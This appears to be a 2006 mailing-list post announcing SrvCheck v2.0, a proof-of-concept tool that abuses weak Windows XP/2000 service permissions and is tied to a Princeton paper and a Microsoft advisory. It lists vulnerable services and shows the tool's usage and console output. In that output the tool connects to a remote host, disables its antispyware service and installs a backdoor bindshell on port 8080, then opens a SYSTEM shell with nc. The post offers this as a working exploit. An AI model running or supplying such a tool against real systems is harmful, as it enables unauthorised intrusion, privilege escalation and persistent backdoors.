Proof of concept of Sudhakar Govindavajhala and Andrew Appel paper (<a href="http://www.cs.princeton.edu/~sudhakar/papers/winval.pdf">http://www.cs.princeton.edu/~sudhakar/papers/winval.pdf</a>)
Running as an unprivileged user you can test if your services are vulnerable and can be used to install a backdoor.
Both source code and binary included <br>

<b>Microsoft advisory: <a href="http://microsoft.com/technet/security/advisory/914457.mspx">http://microsoft.com/technet/security/advisory/914457.mspx</a></b><br>
<br>

<b>SrvCheck v2.0 is able to perform this checks remotely using for example domain user credentials</b><br>

                        
<b>Here is a short list of Known vulnerable services under XP sp2:</b><br>
<br>

<b>- Advanced User: </b><br>

 service: DcomLaunch ( SYSTEM )<br>

 Service: UpnpHost ( Local Service )<br>
 
 Service: SSDPSRV (Local Service) <br>

<b>- User: </b><br>

 Service: UpnpHost ( Local Service )<br>
 
 Service: SSDPSRV (Local Service) <br>

<b>- Network Config Operators:</b><br>

 service: DcomLaunch ( SYSTEM )<br>

 Service: UpnpHost ( Local Service )<br>
 
 Service: SSDPSRV (Local Service) <br>

 Service: DHCP ( SYSTEM ) <br>

 Service: NetBT (SYSTEM - .sys driver) <br>

 Service DnsCache (SYSTEM) <br>
<br>

<b>Windows 2000 Professional SP4:</b><br>
<br>

<b>- Power User: </b><br>

 service: WMI - Windows Management Instrumentation Driver Extensions ( SYSTEM )<br>
<br>

<b>Third part Software:</b><br>
<br>

HP: &quot;Pml Driver HPZ12&quot;<br>

Audodesk: &quot;Autodesk Licensing Service&quot; - maybe this one: <a href="http://securityfocus.com/bid/16472">http://securityfocus.com/bid/16472</a><br>
<br>
<br>

D:\Programación\srvcheck2&gt;srvcheck2.exe -?<br>

&nbsp;Services Permissions checker v2.0<br>

&nbsp;(c) 2006 Andres Tarasco - <a href="mailto:atarasco@gmail.com" target="_blank" onclick="return top.js.OpenExtLink(window,event,this)">atarasco@gmail.com</a><br>

<br>

&nbsp;Usage:<br>

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
-l&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
list vulnerable services<br>

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -m &lt;service&gt;&nbsp;&nbsp;&nbsp;&nbsp; modify the configuration for that service<br>

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -c &lt;command&gt;&nbsp;&nbsp;&nbsp;&nbsp; Command to execute throw remote service<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
by default. bindshell application will be used<br>

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -H
&lt;Host&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; specify a remote
host to connect ip/netbiosname)<br>

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -u
&lt;user&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if not
seletected Default logon credentials used)<br>

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -p &lt;password&gt;&nbsp;&nbsp;&nbsp; if not used Default logon credentials used)<br>

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
-?&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
Extended information with samples<br>

&nbsp;examples:<br>

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; srvcheck.exe -l (list local vulnerabilities)<br>

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; srvcheck.exe -m service (spawn a shell at port 8080)<br>

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; srvcheck.exe -m service -c &quot;cmd.exe /c md c:\PWNED&quot;<br>

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; srvcheck -l -H host (list remote vulnerabilities)<br>

<br>

D:\Programación\srvcheck2&gt;srvcheck2.exe -l -H <a href="http://192.168.0.1/" target="_blank" onclick="return top.js.OpenExtLink(window,event,this)">192.168.0.1</a><br>

&nbsp;Services Permissions checker v2.0<br>

&nbsp;(c) 2006 Andres Tarasco - <a href="mailto:atarasco@gmail.com" target="_blank" onclick="return top.js.OpenExtLink(window,event,this)">atarasco@gmail.com</a><br>

<br>

[+] Trying to connect to remote SCM<br>

[+] Host: \\192.168.0.1\IPC$<br>

[+] Username: (null)<br>

[+] Password: (null)<br>

[+] Network Connection OK<br>

[+] Listing Vulnerable Services...<br>

<br>

&nbsp;&nbsp;&nbsp; [Dhcp]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Cliente DHCP<br>

&nbsp;&nbsp;&nbsp; Status: 0x4<br>

&nbsp;&nbsp;&nbsp; Parameter:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; C:\WINDOWS\System32\svchost.exe -k netsvcs<br>

<br>

&nbsp;&nbsp;&nbsp; [Dnscache]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Cliente DNS<br>

&nbsp;&nbsp;&nbsp; Status: 0x4<br>

&nbsp;&nbsp;&nbsp;
Parameter:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
C:\WINDOWS\System32\svchost.exe -k NetworkService<br>

<br>

&nbsp;&nbsp;&nbsp; [NetBT]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NetBios a travÚs de Tcpip<br>

&nbsp;&nbsp;&nbsp; Status: 0x4<br>

&nbsp;&nbsp;&nbsp; Parameter:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System32\DRIVERS\netbt.sys<br>

<br>

&nbsp;&nbsp;&nbsp; [SSDPSRV]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Servicio de descubrimientos SSDP<br>

&nbsp;&nbsp;&nbsp; Status: 0x1<br>

&nbsp;&nbsp;&nbsp;
Parameter:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
C:\WINDOWS\System32\svchost.exe -k LocalService<br>

<br>

&nbsp;&nbsp;&nbsp; [upnphost]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Host de dispositivo Plug and Play universal<br>

&nbsp;&nbsp;&nbsp; Status: 0x1<br>

&nbsp;&nbsp;&nbsp; Parameter:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; C:\WINDOWS\System32\svchost.exe <br>

<br>

[+] Analyzed 311 Services in your system<br>

[+] You were Lucky. 5 vulnerable services found<br>

<br>

D:\Programación\srvcheck2&gt;srvcheck2.exe -H <a href="http://192.168.0.1/" target="_blank" onclick="return top.js.OpenExtLink(window,event,this)">192.168.0.1</a> -m upnphost<br>

&nbsp;Services Permissions checker v2.0<br>

&nbsp;(c) 2006 Andres Tarasco - <a href="mailto:atarasco@gmail.com" target="_blank" onclick="return top.js.OpenExtLink(window,event,this)">atarasco@gmail.com</a><br>

<br>

[+] Trying to connect to remote SCM<br>

[+] Host: \\192.168.0.1\IPC$<br>

[+] Username: (null)<br>

[+] Password: (null)<br>

[+] Network Connection OK<br>

[+] Uninstalling previous backdoors<br>

[+] Granting Remote bindshell Execution..<br>

[+] Shutting down remote antispyware Service =)<br>

[+] Installing Backdoor Code...<br>

[+] The service have been succesfully modified =)<br>

[+] Service Opened. Trying to Start... (wait a few seconds)<br>

[+] StarteService() Error due to a non service application execution<br>

[+] Ignore it. Your application should be executed =)<br>

[+] Now connect to port 8080 and enjoy your new privileges<br>

<br>

D:\Programación\srvcheck2&gt;nc localhost 8080<br>

Microsoft Windows XP [Versión 5.1.2600]<br>

(C) Copyright 1985-2001 Microsoft Corp.<br>

<br>

C:\WINDOWS\system32&gt;<br>
<br>
<br>
<br>
regards,<br>
<br>
Andres Tarasco<br>
<br>